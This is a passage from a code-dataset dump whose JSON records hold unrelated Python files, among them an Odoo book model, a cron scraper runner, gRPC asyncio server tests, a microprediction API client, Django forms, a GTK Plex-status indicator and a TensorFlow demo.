_sql_constraints = [\n (\"edition_positive_int\", \"CHECK( edition > 0)\", \n \"Edition should be at least the first.\"),\n (\"isbn_valid\", \"CHECK( isbn ~* '^[0-9]{13}$')\", \n \"ISBN should be in standard format.\")\n ]\n\n name = fields.Char( compute = \"_get_book_identification\", readonly = True,\n string = \"Book Identification\")\n title = fields.Char( string = \"Book Title\", required = True)\n editor = fields.Char( string = \"Editor\", default = \"None\")\n edition = fields.Integer( string = \"Edition\", default = 1)\n copy_number = fields.Integer( string = \"Copy Number\", \n compute = \"_get_copy_number\", store = True)\n isbn = fields.Char( string = \"ISBN\", size = 13, required = True)\n times_rented = fields.Integer( string = \"Times Rented\", \n compute = \"_get_times_rented\", readonly = True)\n available = fields.Boolean( string = \"Available\", \n compute = \"_get_availability\", readonly = True)\n\n category_id = fields.Many2one( string = \"Category\", \n comodel_name = \"library.category\", ondelete = \"cascade\", \n required = True)\n\n authors_ids = fields.Many2many( comodel_name = \"library.author\", \n relation = \"authors_book\", column1 = \"book_id\", \n column2 = \"author_id\", string = \"Authors\", required = True,\n copy = True)\n\n rents_ids = fields.One2many( comodel_name = \"library.rent\", \n inverse_name = \"book_id\", copy = False)\n\n def register_new_copy( self) :\n for book in self :\n book.copy()\n\n def get_availability( self) :\n for book in self :\n book._get_availability()\n return book.available\n\n @api.depends( \"title\", \"edition\", \"copy_number\")\n def _get_book_identification( self) :\n for book in self :\n book.name = f\"{ book.title }, Ed. { book.edition } (Copy \"\\\n f\"{ book.copy_number })\"\n\n @api.depends( \"isbn\", \"copy_number\")\n def _get_copy_number( self) :\n for book in self :\n copies = book.search( args = [('isbn', '=', book.isbn)])\n copies_numbers = copies.mapped( \"copy_number\")\n copy_highest = max( copies_numbers) if copies_numbers else 0\n book.copy_number = copy_highest + 1\n\n @api.depends( \"rents_ids\")\n def _get_times_rented( self) :\n for book in self :\n book.times_rented = len( book.rents_ids)\n\n @api.depends( \"rents_ids\")\n def _get_availability( self) :\n for book in self :\n book.available = all( \n status == \"Finalized\" for status in book.rents_ids.mapped( 'status'))\n print( book.name, book.rents_ids.mapped( 'status'))\n\n @api.constrains( \"authors_ids\")\n def _has_book_at_least_one_author( self) :\n for book in self :\n if len( book.authors_ids) == 0 :\n raise ValidationError( \"A book should have at least one author.\")\n\n","sub_path":"models/book.py","file_name":"book.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"226633587","text":"#!/usr/bin/python3\n\"\"\"\nThis is a process that runs every day to collect\ncard data. It is run with a cron task on an ubuntu server at 6AM.\nIt collects the data by running a series of scrapers, and saves\nthe values into my database file.\nIt also updates the daily watchlist trends.\n\"\"\"\nimport os \nimport project_flask\nimport datetime\nimport time\n\nprint('running dailytask')\nfPath = '/home/timc/flask_project/flask_app/daily.txt'\n# get the date\n\nts = time.time()\ndailyTime = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d %H-%M')\nprint('test getTime:',dailyTime)\n\nwith open(fPath, 'a') as f:\n#with open('daily.txt', 'a') as f:\n f.write('\\n edited on: ' + dailyTime)\n\n\n# set price scraper\n\ntry:\n os.system(r'python3 /home/timc/flask_project/flask_app/scrapers/setPriceScraper.py')\n with open(fPath, 'a') as f:\n f.write('\\n running set price scraper')\nexcept:\n print('could not run setpricescraper')\n with open(fPath, 'a') as f:\n f.write('\\n setpricescraper didnt run')\n\n# frontpage scraper\ntry:\n os.system(r'python3 /home/timc/flask_project/flask_app/scrapers/frontpagedb.py')\n with open(fPath, 'a') as f:\n f.write('\\n running frontpagedb')\nexcept:\n print('could not run frontpagedb')\n with open(fPath, 'a') as f:\n f.write('\\n frontpagedb didnt run')\n\n# buylist scraper\ntry:\n with open(fPath, 'a') as f:\n f.write('\\n running buylistscraper')\n os.system(r'python3 /home/timc/flask_project/flask_app/scrapers/buylistsetscraper.py')\n\nexcept:\n with open(fPath, 'a') as f:\n f.write('\\n buylist scraper didnt run')\n\n# get the watchlist, return rows\ntry:\n with open(fPath, 'a') as f:\n f.write('\\n running getWatchList')\n rows = project_flask.getWatchList()\n\nexcept:\n print('could not access getwatchlist')\n with open(fPath, 'a') as f:\n f.write('\\n could not access getwatchlist')\n\n# refreshes the watchlist trends\nprint(\"updating watchlist\")\ntry:\n with open(fPath, 'a') as f:\n f.write('\\n processing watchlist updates')\n for row in rows:\n project_flask.updateTrend(row['id'])\n print('updating',row['id'])\n\nexcept:\n print('could not access updateTrend')\n with open(fPath, 'a') as f:\n f.write('\\n could not access updateTrend')\n\nwith open(fPath, 'a') as f:\n f.write('\\n editing done: ' + dailyTime)\n","sub_path":"dailyTask.py","file_name":"dailyTask.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"271221709","text":"#\n# Example file for HelloWorld\n#\ndef inc(a,b=1):\n return(a+b)\n\na=inc(1)\na=inc(a,a)\nprint(a)\n\n# understanding the meaning of __name__ == \"__main__\" logic to make sure the function listed below is called as the main one no matter if there are others in hte whole code\n\ndef main():\n print(\"Hello World!!!\")\n name = input(\"Input your name: \")\n print(\"Welcome to Python programing \" + name + \" you're heading to Success again\")\n\nif __name__ == \"__main__\":\n main()\n \n","sub_path":"Ex_Files_Learning_Python_Upd/Exercise Files/Ch2/helloworld_start.py","file_name":"helloworld_start.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"190130008","text":"# -*- coding: utf-8 -*-\n\n\ndef fn(filename, myreader, info, lines):\n _myreader = myreader.copy()\n\n from features.text.expressions import StartsWith, UnicodeCategories, \\\n UNICODE_CATEGORIES\n X1 = StartsWith().transform(_myreader, lines)\n X2 = UnicodeCategories().transform(_myreader, lines)\n\n names = ['both-start'] + ['both-' + cat for cat in UNICODE_CATEGORIES]\n return ([X1, X2], names)\n","sub_path":"src/features/extract-text-expressions.py","file_name":"extract-text-expressions.py","file_ext":"py","file_size_in_byte":414,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"233325811","text":"import os\nimport ROOT\nZXfolder = os.path.dirname(__file__)\nReducibleBackgroundFile = os.path.join(ZXfolder, \"ReducibleBackgroundAA_2015.C\")\nROOT.gROOT.LoadMacro(ReducibleBackgroundFile+\"+\")\n\ndef setup(production):\n success = ROOT.setup(int(production), ZXfolder)\n if not success:\n raise ValueError(\"Bad production: {}\".format(production))\n\nimport convertTGraphstoTH1Fs\nconvertTGraphstoTH1Fs.convertTGraphstoTH1Fs(os.path.join(ZXfolder, \"FakeRate_SS_2016B.root\"))\n#https://github.com/CJLST/ZZAnalysis/blob/b4cc949af2ca81a9dd2bfeaba47768c7ea0cfd13/AnalysisStep/data/FakeRates/FakeRate_SS_2016D.root\nconvertTGraphstoTH1Fs.convertTGraphstoTH1Fs(os.path.join(ZXfolder, \"FakeRate_SS_2016D.root\"))\n#https://github.com/CJLST/ZZAnalysis/blob/4b0ac1ccda2a60295e8233069dcd1a17802894f7/AnalysisStep/data/FakeRates/FakeRate_SS_2016D.root\nconvertTGraphstoTH1Fs.convertTGraphstoTH1Fs(os.path.join(ZXfolder, \"FakeRate_SS_2016D_12.9fb-1.root\"))\n\nfrom ROOT import CRZLLss, fakeRate13TeV, test_bit\n","sub_path":"helperstuff/ZX/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"7585037","text":"# Copyright 2019 The gRPC Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport asyncio\nimport logging\nimport unittest\nimport time\nimport gc\n\nimport grpc\nfrom grpc.experimental import aio\nfrom tests_aio.unit._test_base import AioTestBase\nfrom tests.unit.framework.common import test_constants\n\n_SIMPLE_UNARY_UNARY = '/test/SimpleUnaryUnary'\n_BLOCK_FOREVER = '/test/BlockForever'\n_BLOCK_BRIEFLY = '/test/BlockBriefly'\n_UNARY_STREAM_ASYNC_GEN = '/test/UnaryStreamAsyncGen'\n_UNARY_STREAM_READER_WRITER = '/test/UnaryStreamReaderWriter'\n_UNARY_STREAM_EVILLY_MIXED = '/test/UnaryStreamEvillyMixed'\n\n_REQUEST = b'\\x00\\x00\\x00'\n_RESPONSE = b'\\x01\\x01\\x01'\n_NUM_STREAM_RESPONSES = 5\n\n\nclass _GenericHandler(grpc.GenericRpcHandler):\n\n def __init__(self):\n self._called = asyncio.get_event_loop().create_future()\n\n @staticmethod\n async def _unary_unary(unused_request, unused_context):\n return _RESPONSE\n\n async def _block_forever(self, unused_request, unused_context):\n await asyncio.get_event_loop().create_future()\n\n async def _block_briefly(self, unused_request, unused_context):\n await asyncio.sleep(test_constants.SHORT_TIMEOUT / 2)\n return _RESPONSE\n\n async def _unary_stream_async_gen(self, unused_request, unused_context):\n for _ in range(_NUM_STREAM_RESPONSES):\n yield _RESPONSE\n\n async def _unary_stream_reader_writer(self, unused_request, context):\n for _ in range(_NUM_STREAM_RESPONSES):\n await context.write(_RESPONSE)\n\n async def _unary_stream_evilly_mixed(self, unused_request, context):\n yield _RESPONSE\n for _ in range(_NUM_STREAM_RESPONSES - 1):\n await context.write(_RESPONSE)\n\n def service(self, handler_details):\n self._called.set_result(None)\n if handler_details.method == _SIMPLE_UNARY_UNARY:\n return grpc.unary_unary_rpc_method_handler(self._unary_unary)\n if handler_details.method == _BLOCK_FOREVER:\n return grpc.unary_unary_rpc_method_handler(self._block_forever)\n if handler_details.method == _BLOCK_BRIEFLY:\n return grpc.unary_unary_rpc_method_handler(self._block_briefly)\n if handler_details.method == _UNARY_STREAM_ASYNC_GEN:\n return grpc.unary_stream_rpc_method_handler(\n self._unary_stream_async_gen)\n if handler_details.method == _UNARY_STREAM_READER_WRITER:\n return grpc.unary_stream_rpc_method_handler(\n self._unary_stream_reader_writer)\n if handler_details.method == _UNARY_STREAM_EVILLY_MIXED:\n return grpc.unary_stream_rpc_method_handler(\n self._unary_stream_evilly_mixed)\n\n async def wait_for_call(self):\n await self._called\n\n\nasync def _start_test_server():\n server = aio.server()\n port = server.add_insecure_port('[::]:0')\n generic_handler = _GenericHandler()\n server.add_generic_rpc_handlers((generic_handler,))\n await server.start()\n return 'localhost:%d' % port, server, generic_handler\n\n\nclass TestServer(AioTestBase):\n\n async def setUp(self):\n self._server_target, self._server, self._generic_handler = await _start_test_server(\n )\n\n async def tearDown(self):\n await self._server.stop(None)\n\n async def test_unary_unary(self):\n async with aio.insecure_channel(self._server_target) as channel:\n unary_unary_call = channel.unary_unary(_SIMPLE_UNARY_UNARY)\n response = await unary_unary_call(_REQUEST)\n self.assertEqual(response, _RESPONSE)\n\n async def test_unary_stream_async_generator(self):\n async with aio.insecure_channel(self._server_target) as channel:\n unary_stream_call = channel.unary_stream(_UNARY_STREAM_ASYNC_GEN)\n call = unary_stream_call(_REQUEST)\n\n # Expecting the request message to reach server before retriving\n # any responses.\n await asyncio.wait_for(self._generic_handler.wait_for_call(),\n test_constants.SHORT_TIMEOUT)\n\n response_cnt = 0\n async for response in call:\n response_cnt += 1\n self.assertEqual(_RESPONSE, response)\n\n self.assertEqual(_NUM_STREAM_RESPONSES, response_cnt)\n self.assertEqual(await call.code(), grpc.StatusCode.OK)\n\n async def test_unary_stream_reader_writer(self):\n async with aio.insecure_channel(self._server_target) as channel:\n unary_stream_call = channel.unary_stream(\n _UNARY_STREAM_READER_WRITER)\n call = unary_stream_call(_REQUEST)\n\n # Expecting the request message to reach server before retriving\n # any responses.\n await asyncio.wait_for(self._generic_handler.wait_for_call(),\n test_constants.SHORT_TIMEOUT)\n\n for _ in range(_NUM_STREAM_RESPONSES):\n response = await call.read()\n self.assertEqual(_RESPONSE, response)\n\n self.assertEqual(await call.code(), grpc.StatusCode.OK)\n\n async def test_unary_stream_evilly_mixed(self):\n async with aio.insecure_channel(self._server_target) as channel:\n unary_stream_call = channel.unary_stream(_UNARY_STREAM_EVILLY_MIXED)\n call = unary_stream_call(_REQUEST)\n\n # Expecting the request message to reach server before retriving\n # any responses.\n await asyncio.wait_for(self._generic_handler.wait_for_call(),\n test_constants.SHORT_TIMEOUT)\n\n # Uses reader API\n self.assertEqual(_RESPONSE, await call.read())\n\n # Uses async generator API\n response_cnt = 0\n async for response in call:\n response_cnt += 1\n self.assertEqual(_RESPONSE, response)\n\n self.assertEqual(_NUM_STREAM_RESPONSES - 1, response_cnt)\n\n self.assertEqual(await call.code(), grpc.StatusCode.OK)\n\n async def test_shutdown(self):\n await self._server.stop(None)\n # Ensures no SIGSEGV triggered, and ends within timeout.\n\n async def test_shutdown_after_call(self):\n async with aio.insecure_channel(self._server_target) as channel:\n await channel.unary_unary(_SIMPLE_UNARY_UNARY)(_REQUEST)\n\n await self._server.stop(None)\n\n async def test_graceful_shutdown_success(self):\n channel = aio.insecure_channel(self._server_target)\n call = channel.unary_unary(_BLOCK_BRIEFLY)(_REQUEST)\n await self._generic_handler.wait_for_call()\n\n shutdown_start_time = time.time()\n await self._server.stop(test_constants.SHORT_TIMEOUT)\n grace_period_length = time.time() - shutdown_start_time\n self.assertGreater(grace_period_length,\n test_constants.SHORT_TIMEOUT / 3)\n\n # Validates the states.\n await channel.close()\n self.assertEqual(_RESPONSE, await call)\n self.assertTrue(call.done())\n\n async def test_graceful_shutdown_failed(self):\n channel = aio.insecure_channel(self._server_target)\n call = channel.unary_unary(_BLOCK_FOREVER)(_REQUEST)\n await self._generic_handler.wait_for_call()\n\n await self._server.stop(test_constants.SHORT_TIMEOUT)\n\n with self.assertRaises(grpc.RpcError) as exception_context:\n await call\n self.assertEqual(grpc.StatusCode.UNAVAILABLE,\n exception_context.exception.code())\n self.assertIn('GOAWAY', exception_context.exception.details())\n await channel.close()\n\n async def test_concurrent_graceful_shutdown(self):\n channel = aio.insecure_channel(self._server_target)\n call = channel.unary_unary(_BLOCK_BRIEFLY)(_REQUEST)\n await self._generic_handler.wait_for_call()\n\n # Expects the shortest grace period to be effective.\n shutdown_start_time = time.time()\n await asyncio.gather(\n self._server.stop(test_constants.LONG_TIMEOUT),\n self._server.stop(test_constants.SHORT_TIMEOUT),\n self._server.stop(test_constants.LONG_TIMEOUT),\n )\n grace_period_length = time.time() - shutdown_start_time\n self.assertGreater(grace_period_length,\n test_constants.SHORT_TIMEOUT / 3)\n\n await channel.close()\n self.assertEqual(_RESPONSE, await call)\n self.assertTrue(call.done())\n\n async def test_concurrent_graceful_shutdown_immediate(self):\n channel = aio.insecure_channel(self._server_target)\n call = channel.unary_unary(_BLOCK_FOREVER)(_REQUEST)\n await self._generic_handler.wait_for_call()\n\n # Expects no grace period, due to the \"server.stop(None)\".\n await asyncio.gather(\n self._server.stop(test_constants.LONG_TIMEOUT),\n self._server.stop(None),\n self._server.stop(test_constants.SHORT_TIMEOUT),\n self._server.stop(test_constants.LONG_TIMEOUT),\n )\n\n with self.assertRaises(grpc.RpcError) as exception_context:\n await call\n self.assertEqual(grpc.StatusCode.UNAVAILABLE,\n exception_context.exception.code())\n self.assertIn('GOAWAY', exception_context.exception.details())\n await channel.close()\n\n @unittest.skip('https://github.com/grpc/grpc/issues/20818')\n async def test_shutdown_before_call(self):\n server_target, server, _ = _start_test_server()\n await server.stop(None)\n\n # Ensures the server is cleaned up at this point.\n # Some proper exception should be raised.\n async with aio.insecure_channel('localhost:%d' % port) as channel:\n await channel.unary_unary(_SIMPLE_UNARY_UNARY)(_REQUEST)\n\n\nif __name__ == '__main__':\n logging.basicConfig(level=logging.DEBUG)\n unittest.main(verbosity=2)\n","sub_path":"src/python/grpcio_tests/tests_aio/unit/server_test.py","file_name":"server_test.py","file_ext":"py","file_size_in_byte":10413,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"633317546","text":"from microconventions import MicroConventions, api_url\nimport requests, time, sys\nfrom pprint import pprint\nimport numpy as np\nimport json\n\n# New video tutorials are available at https://www.microprediction.com/python-1 to help you\n# get started reading historical data, and the like.\n\n\nclass MicroReader(MicroConventions):\n\n def __init__(self, base_url=None, **kwargs):\n \"\"\" Establish connection and adopt configuration parameters from site \"\"\"\n super().__init__(base_url=base_url or api_url(), **kwargs)\n\n def fix_stream_name(self,name:str)->str:\n if len(name)<5 or name[-5:]!='.json':\n print('Stream names should end in .json')\n return name+'.json'\n else:\n return name\n\n def request_get_json(self, method, arg=None, data=None, throw=True):\n # TODO: Can remove this after microconventions>0.1.0\n try:\n if data is not None:\n res = requests.get(self.base_url + '/' + method + '/' + arg, data=data)\n elif arg is not None:\n res = requests.get(self.base_url + '/' + method + '/' + arg)\n elif data is None and arg is None:\n res = requests.get(self.base_url + '/' + method)\n if res.status_code == 200:\n return res.json()\n except ConnectionError as e:\n print('WARNING: ConnectionError attempting to get ' + method)\n if throw:\n raise e\n\n def __repr__(self):\n return json.dumps({'base_url':self.base_url})\n\n def get(self, name, throw=True):\n return self.request_get_json(method='live', arg=name, throw=throw)\n\n def get_current_value(self, name, throw=True):\n name = self.fix_stream_name(name=name)\n return self.request_get_json(method='live', arg=name, throw=throw)\n\n def get_sponsors(self) -> dict:\n return self.get_streams_by_sponsor()\n\n def get_streams_by_sponsor(self):\n return self.request_get_json(method='sponsors')\n\n def get_budgets(self):\n return self.get_streams_by_budget()\n\n def get_streams_by_budget(self):\n return self.request_get_json(method='budgets')\n\n def get_streams(self) -> dict:\n return self.get_sponsors()\n\n def get_prizes(self) -> dict:\n return self.request_get_json(method='prizes')\n\n def get_stream_names(self) -> [str]:\n return [ name for name in self.get_streams() ]\n\n def get_summary(self, name):\n return self.request_get_json(method='live', arg='summary::' + name)\n # res = requests.get(self.base_url + '/live/summary::' + name)\n\n def get_lagged(self,name, count=1000):\n name = self.fix_stream_name(name=name)\n return self.request_get_json(method='lagged',arg=name, data={'count':count-1})\n\n def get_lagged_values_and_times(self, name, count=1000):\n \"\"\" Preferred method \"\"\"\n name = self.fix_stream_name(name=name)\n lagged = self.get_lagged(name=name, count=count)\n lagged_values = [l[1] for l in lagged]\n lagged_times = [l[0] for l in lagged]\n return lagged_values, lagged_times\n\n def get_lagged_values(self, name:str, count:int=1000):\n \"\"\" Retrieve lagged values of a time series\n :param name: cop.json z1~cop.json z2~cop~qp.json\n :return: [ float ]\n \"\"\"\n name = self.fix_stream_name(name=name)\n lagged_values, lagged_times = self.get_lagged_values_and_times(name=name,count=count)\n return lagged_values\n\n def get_lagged_copulas(self, name:str, count:int=5000):\n \"\"\" Retrieve history of implied copulas in [0,1]^n\n returns [ [p1,p2,p3] ]\n \"\"\"\n name = self.fix_stream_name(name=name)\n assert '~' in name,'This method is intended for copula streams'\n lagged_values, lagged_times = self.get_lagged_values_and_times(name=name, count=count)\n dim = 2 if 'z2~' in name else 3\n lagged_prctls = [ self.from_zcurve(zvalue,dim=dim) for zvalue in lagged_values ]\n return lagged_prctls\n\n def get_lagged_zvalues(self, name:str, count:int=5000):\n \"\"\" Retrieve history of implied z in [-inf,inf]^n\n returns [ [z1,z2,z3], [ , ,] ]\n \"\"\"\n name = self.fix_stream_name(name=name)\n assert '~' in name, 'This method is intended for bivariate or trivariate copula streams'\n lagged_values, lagged_times = self.get_lagged_values_and_times(name=name, count=count)\n dim = 2 if 'z2~' in name else 3\n\n def expand(z):\n ps = self.from_zcurve(zvalue=z,dim=dim)\n return [ self.norminv(p) for p in ps ]\n\n lagged_zs = [ expand(z) for z in lagged_values]\n return lagged_zs\n\n\n def get_lagged_times(self, name:str, count:int=1000) -> list:\n \"\"\" Retrieve lagged times\n :param name: cop.json z1~cop.json z2~cop~qp.json\n :return: [ float ]\n \"\"\"\n name = self.fix_stream_name(name=name)\n lagged_values, lagged_times = self.get_lagged_values_and_times(name=name, count=count)\n return lagged_times\n\n def get_delayed_value(self, name: str, delay: int):\n \"\"\" Retrieve quarantined value.\n This is the most recent data point after going back at least delay seconds\n\n param: name cop.json z1~cop.json z2~cop~qp.json\n param: delay\n :return: [ float ]\n \"\"\"\n name = self.fix_stream_name(name=name)\n return self.request_get_json(method='live', arg='delayed::' + str(delay) + self.SEP + name)\n # res = requests.get(self.base_url + '/live/delayed::' + str(delay) + \"::\" + name)\n\n def get_repository(self, write_key):\n \"\"\" Get repository associated with a write key \"\"\"\n # You can also supply a hash of the write key instead\n return self.request_get_json(method='repository', arg=write_key)\n # res = requests.get(self.base_url + '/repository/' + write_key)\n\n def get_predictions(self, write_key, name, delay:int, strip=True, consolidate=True):\n \"\"\" Retrieve predictions for a given horizon\n\n strip_percentiles If false, returns dictionary with individual submissions\n consolidate If false, returns tuples (owner,value)\n Otherwise just returns values\n\n \"\"\"\n name = self.fix_stream_name(name=name)\n tickets = self.request_get_json(method='predictions', arg=name, data={\"write_key\":write_key,\"delay\":delay})\n if strip:\n tups = [(ticket.split('::')[1], val) for ticket, val in tickets.items()]\n if consolidate:\n return sorted([v for owner,v in tups])\n else:\n return tups\n else:\n return tickets\n\n\n\n\n def median(self, name: str, delay: int):\n name = self.fix_stream_name(name=name)\n return self.inv_cdf(name=name, delay=delay, p=0.5, num=15)\n\n def inv_cdf(self, name: str, delay: int, p=None, ps=None, num=25):\n \"\"\" Approximate PPF\n\n p float or\n ps [float]\n num Number of interpolation points to use\n\n \"\"\"\n name = self.fix_stream_name(name=name)\n # This won't choose x values based on the percentiles supplied, so it is a bit dumb in that sense\n cdf = self.get_cdf_lagged(name=name, delay=delay, num=num)\n ps_ = ps or [p]\n xs = np.interp(x=ps_, xp=cdf[\"x\"], fp=cdf[\"y\"], left=None, right=None)\n return list(xs) if ps is None else ps[0]\n\n def get_discrete_pdf_lagged(self, name: str, delay: int = None, num: int=25, lagged_values=None):\n \"\"\" Retrieve estimate of PDF ... only when discrete values are taken\n\n num Maximum number of points to compute PDF at\n\n \"\"\"\n if delay is None:\n delay = self.DELAYS[0]\n # PDF for continuous case is not implemented yet, sorry!\n lagged_values = lagged_values or self.get_lagged_values(name=name)\n values = self.cdf_values(lagged_values=lagged_values, num=num, as_discrete=True)\n raw_cdf = self._get_cdf(name=name, delay=delay, values=values)\n return {'x':raw_cdf['x'], 'y':self.discrete_pdf(raw_cdf['y'])} if raw_cdf.get('x') else raw_cdf\n\n def get_cdf_lagged(self, name: str, delay: int, num: int = 25, lagged_values=None, as_discrete=None):\n \"\"\" Get CDF using automatically selected x-values based on lags\n\n num: Maximum number of points to use\n lagged_values: Supply these to avoid an extra http round trip\n as_discrete Supply bool if you know\n\n \"\"\"\n lagged_values = lagged_values or self.get_lagged_values(name=name)\n if as_discrete is None:\n as_discrete = self.is_discrete(lagged_values=lagged_values, num=num, ndigits=12)\n values = self.cdf_values(lagged_values=lagged_values, num=num, as_discrete=as_discrete)\n raw_cdf = self._get_cdf(name=name, delay=delay, values=values)\n return self.discrete_cdf(raw_cdf) if as_discrete and raw_cdf.get('x') else raw_cdf\n\n def get_cdf(self, name: str, delay: int, values: [float], as_discrete=False) -> dict:\n \"\"\"\n Get CDF using supplied x values\n \"\"\"\n raw_cdf = self._get_cdf(name=name, delay=delay, values=values)\n return self.discrete_cdf(raw_cdf) if as_discrete and raw_cdf.get('x') else raw_cdf\n\n def _get_cdf(self, name: str, delay: int, values: [float]) -> dict:\n \"\"\" Implements approximate cumulative distribution function based on community micropredictions\n\n values A list of x-values at which CDF will be evaluated\n Returns dict {'x':[ float ], 'y':[ float ]} where\n\n This cdf can be tricky to interpret\n \"\"\"\n comma_sep_values = \",\".join([str(v) for v in sorted(values)])\n return self.request_get_json(method='cdf', arg=name, data={'delay': delay, 'values': comma_sep_values})\n # res = requests.get(self.base_url + '/cdf/' + name, params={\"delay\":delay,\"values\": comma_sep_values})\n\n # For convenience...\n # This will move to microconventions\n\n def percentiles(self) -> [float]:\n \"\"\" A list of 225 evenly spaced numbers in (0,1) \"\"\"\n return self.evenly_spaced_percentiles(num=self.num_predictions)\n\n\nclass MicroReaderStatus(MicroReader):\n\n def __init__(self):\n super().__init__()\n\n def reader_status(self):\n examples = {'get': {'name': 'cop.json'},\n 'get_current_value': {'name': 'cop.json'},\n 'get_sponsors': {},\n 'get_streams': {},\n 'get_budgets': {},\n 'get_summary': {'name': 'cop.json'},\n 'get_lagged_values': {'name': 'cop.json'},\n 'get_lagged_times': {'name': 'cop.json'},\n 'get_delayed_value': {'name': 'cop.json','delay':self.DELAYS[2]},\n 'get_cdf': {'name': 'cop.json','delay':self.DELAYS[2],'values':[-1,0,1]}\n }\n report = list()\n for method, kwargs in examples.items():\n call_time = time.time()\n try:\n data = self.__getattribute__(method)(**kwargs)\n sz = sys.getsizeof(data)\n st = 'up' if sz > 0 else ''\n tm = time.time() - call_time\n er = ''\n except Exception as e:\n st = 'down'\n tm = -1\n er = str(e)\n sz = -1\n report.append((method, st, tm, er, sz))\n return report\n\n\nif __name__ == \"__main__\":\n pprint(MicroReaderStatus().reader_status())\n","sub_path":"microprediction/reader.py","file_name":"reader.py","file_ext":"py","file_size_in_byte":11696,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"36026828","text":"from django import forms\nfrom .models import Post\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.forms import UserChangeForm\n\nclass PostForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ('title','text','image')\n\nclass ImageForm(forms.ModelForm):\n class Meta:\n model = Post\n fields = ('title','text','image')\n\n\nclass EditProfile(UserChangeForm):\n\n class Meta:\n model = User\n fields = {\n 'password',\n 'first_name',\n 'email',\n 'last_name',\n \n }","sub_path":"blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"487466251","text":"#!/usr/bin/env python3\nimport signal\nimport gi\ngi.require_version('Gtk', '3.0')\ngi.require_version('AppIndicator3', '0.1')\nfrom gi.repository import Gtk, AppIndicator3, GObject\nimport time\nfrom threading import Thread\nimport psutil\n\nclass Indicator():\n def __init__(self):\n self.app = 'test123'\n iconpath = \"/opt/abouttime/icon/indicator_icon.png\"\n self.indicator = AppIndicator3.Indicator.new(\n self.app, iconpath,\n AppIndicator3.IndicatorCategory.OTHER)\n self.indicator.set_status(AppIndicator3.IndicatorStatus.ACTIVE) \n self.indicator.set_menu(self.create_menu())\n self.indicator.set_label(\"-\", self.app)\n # the thread:\n self.update = Thread(target=self.show_seconds)\n # daemonize the thread to make the indicator stopable\n self.update.setDaemon(True)\n self.update.start()\n\n def create_menu(self):\n menu = Gtk.Menu()\n # menu item 1\n item_1 = Gtk.MenuItem('Menu item')\n # item_about.connect('activate', self.about)\n #menu.append(item_1)\n # separator\n #menu_sep = Gtk.SeparatorMenuItem()\n # menu.append(menu_sep)\n # quit\n item_quit = Gtk.MenuItem('Quit')\n item_quit.connect('activate', self.stop)\n menu.append(item_quit)\n\n menu.show_all()\n return menu\n\n def show_seconds(self):\n t = 2\n while True:\n time.sleep(15)\n is_plex_active = self.check_plex_active()\n mention = 'Plex Active' if is_plex_active else '-' \n # apply the interface update using GObject.idle_add()\n GObject.idle_add(\n self.indicator.set_label,\n mention, self.app,\n priority=GObject.PRIORITY_DEFAULT\n )\n t += 1\n\n def stop(self, source):\n Gtk.main_quit()\n \n def check_plex_active(self):\n procs = {p.pid: p.info for p in psutil.process_iter(attrs=['name', 'cmdline'])}\n plex_active = False \n for pid, proc in procs.items():\n for argument in proc['cmdline']:\n if 'Plex Transcoder' in argument:\n plex_active = True \n return plex_active \n\nIndicator()\n# this is where we call GObject.threads_init()\nGObject.threads_init()\nsignal.signal(signal.SIGINT, signal.SIG_DFL)\nGtk.main()\n\n","sub_path":"plexstatus.py","file_name":"plexstatus.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"281811436","text":"import datetime\nfrom sqlalchemy import (\n Column,\n String,\n Float,\n DateTime,\n ForeignKey,\n)\n\nfrom ParkingFinder.tables.base import Base\n\n\nclass UserReserved(Base):\n __tablename__ = 'user_reserved'\n\n user_id = Column(String(64), ForeignKey('users.user_id'), primary_key=True)\n latitude = Column(Float, nullable=False)\n longitude = Column(Float, nullable=False)\n created_at = Column(DateTime, default=datetime.datetime.utcnow)\n\n def __repr__(self):\n return 'user_id: {}, ' \\\n 'latitude: {}, ' \\\n 'longitude: {}, ' \\\n 'created_at: {} '.format(\n self.space_id,\n self.latitude,\n self.longitude,\n self.created_at,\n )\n","sub_path":"ParkingFinder/tables/user_reserved.py","file_name":"user_reserved.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"605226229","text":"#!/usr/bin/env python\n# -*- coding:utf-8 -*-\n\"\"\"\nauthor: xlingbai@gmail.com\nfile: demo\ndate: 2018/4/2\nbref:\n\"\"\"\nimport tensorflow as tf\nimport pandas as pd\nimport numpy as np\n\nx_data = np.random.rand(100).astype(np.float32)\ny_data = x_data * 0.1 + 0.3\n\n# tensorflow structure\nWeights = tf.Variable(tf.random_uniform([1], -0.1, 1.0)) # 一维结构,范围 -1 到1\nbiases = tf.Variable(tf.zeros([1]))\n\ny = Weights * x_data + biases\nloss = tf.reduce_mean(tf.square(y 